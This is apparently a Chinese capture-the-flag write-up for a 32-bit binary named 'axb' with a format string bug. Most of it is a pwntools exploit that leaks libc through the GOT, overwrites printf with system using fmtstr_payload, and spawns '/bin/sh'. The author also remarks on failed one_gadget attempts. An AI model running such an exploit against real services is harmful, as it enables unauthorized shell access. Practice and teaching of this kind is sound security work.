check:
32位,开了NX
main:
贴一下sprintf
#发送格式化输出到 str 所指向的字符串。
int sprintf(char *str, const char *format, ...)
str -- 这是指向一个字符数组的指针,该数组存储了 C 字符
format -- 这是字符串,包含了要被写入到字符串 str 的文本。
这里就是,输入的字符格式化输出到 &format 再到下面的格式化字符串漏洞
思路:直接利用
偏移是8
exp:
from pwn import *
from LibcSearcher import LibcSearcher
#p=process('./axb')
p=remote('node4.buuoj.cn',25073)
elf=ELF('./axb')
context.log_level='debug'
strlen=elf.got['strlen']
printf=elf.got['printf']
read=elf.got['read']
print(hex(read))
p.sendafter('me:','%9$sa'+p32(read))
p.recvuntil('Repeater:')
read_addr=u32(p.recv(4))
print('read',hex(read_addr))
#gdb.attach(p)
libc=LibcSearcher('read',read_addr)
libc_base=read_addr-libc.dump('read')
print('libc_base',hex(libc_base))
system=libc_base+libc.dump('system')
payload='x'+fmtstr_payload(8,{printf:system},numbwritten=10)
p.sendafter('me:',payload)
p.sendline(';/bin/sh\x00')
p.interactive()
给我整的心烦了,明明挺简单一题,搞得自己崴自己,我用patchelf改了libc,后面就是这个原因老出问题。我尝试了改掉函数的got 为 one_gadget,结果失败了,read,printf,strlen都没整成,反正就很崴自己。
也算是复习一下 fmtstr_payload 的用法。